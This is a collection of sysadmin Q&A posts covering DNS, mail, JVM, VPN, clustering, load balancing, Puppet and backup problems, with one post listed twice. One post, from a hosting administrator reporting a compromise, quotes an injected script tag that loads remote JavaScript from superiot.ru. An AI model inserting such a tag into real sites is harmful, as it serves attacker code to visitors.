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• Why use FQDN as DNS-server option in DHCP?

  - by Filip Haglund

  I've seen multiple default configurations of DHCP-servers with a FQDN set as the DNS-server option. Doesn't this imply a catch-22, or the need for that DNS-server to be in the hosts file of every single client? example from dhcp3-server in debian 6: option domain-name-servers ns1.internal.example.org; I can see how using a dns name is convenient because it's only an A-record to change, and they can be load balanced if wanted, but I don't see how the client is going to resolve the name. Why are people using FQDN's as DNS-server addresses in DHCP?

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• Mails bounce because of invalid character ('@') in username

  - by user1598585

  I have a working exim setup with virtual users, working alright, except for when I try to send email to certain servers. These servers reject my emails because of #5.1.3 Invalid character ('@') in username. The offending header parts seem to be: Return-path: <"[email protected]"@smtp.example.com> and ...(envelope-from <"[email protected]"@smtp.example.com>)... The problem is that I cannot find where and why the usernames are being generated like this. My router for submission is: dnslookup: driver = dnslookup domains = ! +local_domains transport = remote_smtp ignore_target_hosts = 0.0.0.0 : 127.0.0.0/8 no_more And the respective transport: remote_smtp: driver = smtp What can be producing this problem?

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• JVM memory initializazion error after windows update

  - by gianni

  We have three Windows Server 2003 with 2 GB RAM. Server1 tomcat 5.5.25 jvm version SUN 1.6.0_11-b03 Server2 tomcat 5.5.25 jvm version SUN 1.6.0_14-b08 Server3 tomcat 6.0.18 jvm version SUN 1.6.0_14-b08 For the three servers JVM parameters are: -XX:MaxPermSize=256m -Dcatalina.base=C:\Programmi\Apache Group\apache-tomcat-5.5.25 -Dcatalina.home=C:\Programmi\Apache Group\apache-tomcat-5.5.25 -Djava.endorsed.dirs=C:\Programmi\Apache Group\apache-tomcat-5.5.25\common\endorsed -Djava.io.tmpdir=C:\Programmi\Apache Group\apache-tomcat-5.5.25\temp vfprintf -Xms512m -Xmx1024m For some months everithing worked fine. Last friday we installed some windows updates. After the reboot tomcat doesnt start with error: Error occurred during initialization of VM Could not reserve enough space for object heap We reduced the parameter -Xmx1024m to -Xmx768m and now tomcat starts. But we need greater max heap size What happened to our servers ? Thanks in advance.

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• Unable to connect to a remote SQL Server Instance over a VPN

  - by Jack Njiri

  I'm running SQL Server 2005 on two different servers running Win XP. The two servers are in different physical locations and are connected via a dedecated point to point data link in a virtual private network(VPN). Im only able to connect to the remote instance of SQL Server by specifying the IP address on the server name property. If I provide the actual server name say 'ServerA', then I get an error message. Everything works fine except configuring replication at the subscriber level, which requires the actual name of the instance, not an IP address or alias. I have already configured both instances on allow remote connections and im running the SQL Server Browser. How do I connect to the remote instance by providing the instance name? Alternatively how I configure subscription to a remote publisher without supplying the remote instance name?

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• Heartbeat won't start up from a cold boot when a failed node is present

  - by Matthew

  I currently have two ubuntu servers running Heartbeat and DRBD. Let's say one node is down... The servers are directory connected with a 1000Mbps cross over cable on eth1 and have access to a IP camera LAN on eth0 The node that is still functioning won't start up heartbeat and provide access to the drbd resource. I have to manually restart heartbeat by "sudo service heartbeat restart" to get everything up and running. How can I get it to start fine from a cold start? Here is the my ha.cf and some material from the syslog... If I'm missing any information that might be of some help. http://pastebin.com/rGvzVSUq <--- Syslog http://pastebin.com/VqpaPSb5 <--- ha.cf

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• Load Balancer recommendations

  - by delerious010

  I provide hosting service for about 250 clients to date, and this is increasing on a monthly basis. For each client, I have 2 "services" configured for L4 balancing / persistence .. one on port 80, another for port 443 which redirects to another internal port as well as 4 servers per service. This equates to a total of 500 "services" and 2000 "servers". I'm currently running with a couple CoyotePoint load balancers, and have had a look at some Barracudas but so far I'm really not impressed by those. Could anyone recommend some good load balancers which would be able to support this sort of load ? And which offer a good API, or shell access to automate management.

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• 10 gigabit or 1 gigabit switch

  - by Guntis

  We are planning to move mysql to dedicated box. At this moment we have web servers and mysql is running on each. Question is: cheaper is to buy 10G switch and put 10G network card into mysql server. Or buy normal gigabit switch and connect mysql box to switch with multiple network cables. In 1G scenario then we give each web server different mysql IP address. I don't think, that mysql box with one 1G link is enough to to satisfy multiple web box mysql traffic. At this moment we have 3 servers witch are running mysql/web. Plan is to add fourth server for mysql only. Thanks. Edit: if we buy 1G switch with mini-GBIC ports. Can we put in mini-GBIC 10G connectors and then connect mysql box to that port?

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• Network topology question

  - by Asbie

  We currently have three networks, X.X.163.1, X.X.93.1 and 192.168.1.1. Today's setup is like this: http://i.imgur.com/tkKWy.jpg We now have PPT VPN from internet to the X.X.163.1-network, but really need to access the files from the File Server through VPN. I am also aware that this setup is not optimal. So please, any advices on how to redesign our network? Rack servers are mostly web and db servers, with only public IP addresses.

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• unable to join domain using virtualbox

  - by FreshPrinceOfSO

  I'm in the process of setting up a VM environment for a MS certification exam (70-462). Following the training kit's instructions, I've set up a domain controller (DC) and two members (SQL-A, SQL-B) thus far. I can't figure out why I can't join the domain. DC IPv4 Address . . . : 10.10.10.10(Preferred) Subnet Mask. . . . : 255.0.0.0 DNS Servers. . . . : ::1 127.0.0.1 SQL-A IPv4 Address . . . : 10.10.10.20(Preferred) Subnet Mask. . . . : 255.0.0.0 DNS Servers. . . . : 10.10.10.10 SQL-B IPv4 Address . . . : 10.10.10.30(Preferred) Subnet Mask. . . . : 255.0.0.0 DNS Servers. . . . : 10.10.10.10 I've read how to do networking between virtual machines in virtualbox and the documentation. After trying various network adapter configurations, I can't get them to communicate in order to have the two members join the domain. When I ping from .30 to .10, I get: ping 10.10.10.10 Pinging 10.10.10.10 with 32 bytes of data: Reply from 10.10.10.20: Destination host unreachable. Reply from 10.10.10.20: Destination host unreachable. Reply from 10.10.10.20: Destination host unreachable. Reply from 10.10.10.20: Destination host unreachable. Trying to join the domain: netdom join SQL-A /domain:contso.com The specified domain either does not exist or could not be contacted. The command failed to complete successfully. Within VirtualBox, I've tried the following combinations for network adapter: Attached to - Promiscuous Mode ------------------------------- NAT Bridged Adapter - Deny Bridged Adapter - Allow VMs Bridged Adapter - Allow All Internal Network - Deny Internal Network - Allow VMs Internal Network - Allow All Host-only Adapter - Deny Host-only Adapter - Allow VMs Host-only Adapter - Allow All Edit ipconfig /all of DC ipconfig /all of SQL-A

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• Better performance with memcached cluster or local memcaches?

  - by Nicholas Tolley Cottrell

  I have a small cluster of servers balancing a Java web app. Currently I have 3 memcached servers caching data and all web apps shares all 3 memcached instances. I often get strange slowdowns and timeouts to some of the memcacheds and I wondering if there is a good way of analyzing the performance. I am wondering whether my iptables rules (or some other system limitation) are blocking/slowing connections. I am considering reconfiguring the web apps so that they only query the memcached process on their own localhost.

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• Supervisor HTTP Server Port Issue.

  - by Catalina

  I have supervisor setup to manage a few processes. It works perfectly fine when I boot my server, however when I stop it and try to start it again it fails and give's me this error msg: * Starting Supervisor daemon manager... Error: Another program is already listening on a port that one of our HTTP servers is configured to use. Shut this program down first before starting supervisord. For help, use /usr/bin/supervisord -h ...fail! I'm running nginx on port 80 and 4 web servers on ports 8000, 8001, 8002, 8003 Does anyone have any idea of what is going on? When I reboot everything works fine.

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• CRL checking problem windows 2003

  - by Tim Mahy

  Hi all, we have CRL that is valid for 24 hours and has a next update in 12 hours. The CRL is valid from 12:12 AM to 12:12 AM and from 12:12 PM to 12:12 PM. In the logs of the CRL hosting webserver we see that one of our servers not always fetches the CRL at night, in most cases the server that missed the CRL IIS servers 403.16 on 12:13 PM. Is our following theory good: when a windows server misses fetching the CRL on it's nextUpdate but the current CRL is still valid, the fetching is not retried? This leads to a situation that when the CRL expires there is no overlap and gives a little time of 403.16 situations in IIS since the CRL is not thrusted and so all certificates are marked als unsafe? greetings, Tim

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• Remote support via VPN without split tunnel

  - by Robe Eleckers

  my title might not be very clear, but I'll explain my setup in more detail now. We have several customers (companies) that need to be remotely supported. At these customers we have servers running with our software that needs to be serviced. These servers are (almost) never connected to the internet. For this we have multiple PC's running VPN clients. These PC's run a VNC server so our service engineers can login from their home laptop remotely to these PC's and connect from there to our customer via the VPN connection on the PC. The problem is however that several customers do not allow split tunneling. That means that when we connect via VPN to such a customer the VNC connection drops. Our current workaround is using a Citrix VM which we control via XenCenter console, but it's quite slow. Are there common solutions to handle this?

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• Puppet master/agent basic setup

  - by lewap

  I'm trying to setup a basic puppet agent/master use-case with an agent server and a master. I've setup two servers with puppet and puppet master respectively. After the following setup of both servers: puppet master --no-daemonize --verbose puppet agent --test puppet cert --list to get the list, puppet cert --sign to sign it. puppet agent --test I get the message: err: Could not retrieve catalog from remote server: hostname was not match with the server certificate warning: Not using cache on failed catalog err: Could not retrieve catalog; skipping run err: Could not send report: hostname was not match with the server certificate What do I need to do in order to get the agent/master to be able to talk to each other?

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• High availability for Windows Service under Windows Server 2003

  - by empi

  Hi. I have a following situation: I need to deploy a windows service that listens for incoming request on tcp port (basically WCF service). I have a High Availability requirement - the service must be deployed on two servers and if the service stops (only the service, not the whole server) on one server, all the requests must be redirected to the second one. For me it looks like a basic failover scenario. How can I achieve this on Windows Server 2003? Should I use Microsoft Cluster Service or Network Load Balancing? The important part is that the process of swapping the servers should not concern the clients (the client must see only single address / single host or domain name). Thanks in advance for help.

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• Information about recent code injection from http://superiot.ru

  - by klennepette

  Hello, I manage the hosting for a few dozen websites. Since about a week I've been finding this code in 12 different websites in theindex.php files: <script type="text/javascript" src="http://superiot.ru/**.js"></script> // The name of the actual javascript file differs <!-- some hash here--> Some of the websites are on different servers, some aren't. I'm just wondering if anyone else has been seeing this too. Edit with some more information: All servers are centOS 5.3 PHP versions are either 5.2.9 or 5.2.4 Apache versions are either 2.2.3 or 1.3.39

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• Which is the best way to deploy a JBoss application?

  - by andreash

  Hi there, we are currently developing a JBoss application. To deploy it, we have a total of four servers (three years old). I am wondering which might be the best to do? There could be a load balancer (even a load-balancer cluster, for failover) in front of two servers, each holding one JBoss and one PostgreSQl host inside XEN environments. Does this make sense? Are there other, better options? Thanks a lot for your advice!

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• Apache SSL losing session over load balancer

  - by SaltyNuts

  I have two physical Apache servers behind a load balancer. The load balancer was supposed to be set up so that a user would always be sent to the same physical server after the first request, to preserve sessions. This worked fine for our web apps until we added SSL to the setup. Now the user can successfully login, see the home page, but clicking on any other internal links logs the user right out. I traced the issue to the fact that while initial authentication is performed by server 1, clicking on internal links leads to having the request sent to server 2. Server 2 does not share sessions with server 1, and the user is kicked out. How can I fix it? Do I need to share sessions between the two servers? If so, could you point me to a good guide for doing this? Thanks.

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• SNMP keeps crashing

  - by jldugger

  We're using OpsView/Nagios to monitor our servers. We've added the SNMP service to all our servers and deployed the configuration via GPO, but one win2k3 server seems to have a problem; it crashes pretty regularly. The event log carries messages like: Event Type: Error Event Source: Service Control Manager Event Category: None Event ID: 7034 Date: 6/11/2009 Time: 7:11:49 PM User: N/A Computer: HOSTNNAME Description: The SNMP Service service terminated unexpectedly. It has done this 2 time(s). and also Event Type: Error Event Source: Application Error Event Category: (100) Event ID: 1000 Date: 6/11/2009 Time: 7:11:18 PM User: N/A Computer: HOSTNAME Description: Faulting application snmp.exe, version 5.2.3790.3959, faulting module ntdll.dll, version 5.2.3790.3959, fault address 0x000417af. Now, I could probably set it to simply restart on crash in perpetuity, but I think it's better to fix problems like this. Is this a known problem? If not, what should I do to diagnose it?

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• (Open Source) Cloud-Filesystem to run a Database on Top?

  - by jens

  Hello, what are current "technologies and implementations" to get a filesystem with unlimited capacity by using single servers with their harddisk to form a "grid/cloud filesystem"? I need to have unlimited space (by adding further servers) but it must be a filesysem that is capable of running a database on top. I know of Apache Hadoop but that seems not be be Ideal for running a DB on top of it (or am I wrong??) And iSCSI seems to be "remote/networked" but I do not know how and if this is clusterable? thank you very much!! jens

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• (Open Source) Cloud-Filesystem to run a Database on Top?

  - by jens

  Hello, what are current "technologies and implementations" to get a filesystem with unlimited capacity by using single servers with their harddisk to form a "grid/cloud filesystem"? I need to have unlimited space (by adding further servers) but it must be a filesysem that is capable of running a database on top. I know of Apache Hadoop but that seems not be be Ideal for running a DB on top of it (or am I wrong??) And iSCSI seems to be "remote/networked" but I do not know how and if this is clusterable? thank you very much!! jens

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• I can access \\server via explorer but a program wont

  - by Michael Savage

  From ServerA I can access \\ServerB\Telephony\Files\abcdefgh.pdf using windows explorer. From the same ServerA when I try to access the same file on ServerB using a program (a program that imports files from csv file) I get "File Not Found" error. On \\ServerB\Telephony\ the Share is on and I added the service account that I used to log in to ServerA. I am clueless. Please suggest. (oh, it's a Windows 2008 R2 Server) (btw, I did try IP Address, FQDN but works with Explorer but CVS Importer wont read the path. At one time, I did get Access Denied but I dont get access denied anymore after adding the service account to the share. firewalls are off on the servers) Update: I go to My Computer Network I see many servers but ServerB is not in the list..

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• Win 2k3 server's network problem.

  - by Sam

  I'm running 4 of Win2k3 64bit servers in the same subnet. It's been more than an year that I've running them without a problem. Recently, I kept losing the connection to one of the server. Let's say it's 'server A' which has a problem. Losing the connection means that I can't access to server A from the other servers. I've checked if server A has any internet connection problems or are there any abnomal event logs in the eventvwr - but haven't found any problems. The problem usually resolved if I restart the server again. But as time goes by, it keeps happen again and again. I can't afford to restart the server every time, and I really want to find out the reason. Can anyone help me out? Let me know if you guys need any of more information.

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• Bacula vs. BackupPC [closed]

  - by ujjain

  I have been googling about the differences between them. Bacula has lots of roles BackupPC is easier to configure Bacula works with agent, not rsync (great for Windows backups) It seems that Bacula is most often compared to Amanda though, while BackupPC seems a perfectly lovely and popular backup distribution to. I currently backup my servers with rsnapshot, but I am looking for a professional scalable solution that could also back-up 50 hosts without problems. Preferably a solution that can offer bare metal restores for my Linux servers. I am not looking to reinstall the exact same version of Plesk, the software, etc... Update: I see this ranks high in Google, I found a good article: http://www.serverfocus.org/backuppc-vs-bacula-vs-amanda. I personally think that BackupPC is good for smaller environment, but Bacula, despite the high learning curve, is better for environments that requilre scaling.

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• Suppress log messages about 3ware disk temperature changes on CentOS?

  - by Stefan Lasiewski

  I have a number of CentOS 5 servers which use 3ware RAID controllers. These servers are bugging my team with messages about minor temperature changes, like this: Jun 8 12:32:39 HOST smartd[1231]: Device: /dev/twa0 [3ware_disk_01], SMART Usage Attribute: 194 Temperature_Celsius changed from 119 to 118 Jun 8 12:32:39 HOST smartd[1231]: Device: /dev/twa0 [3ware_disk_03], SMART Usage Attribute: 194 Temperature_Celsius changed from 122 to 121 How can I suppress these messages? According to man smartd.conf : To disable any of the 3 reports, set the corresponding limit to 0. Trailing zero arguments may be omitted. By default, all temperature reports are disabled (´-W 0´). On my systems, smartd is reporting about temperature changes by default. I tried a manual approach. In /etc/smartd.conf, I have the following: /dev/twa0 -d 3ware,1 -a -W 0 /dev/twa0 -d 3ware,3 -a -W 0 But this still does not suppress the messages. Since these messages show up in /var/log/messages, LogWatch is sending unnecessary emails every night.

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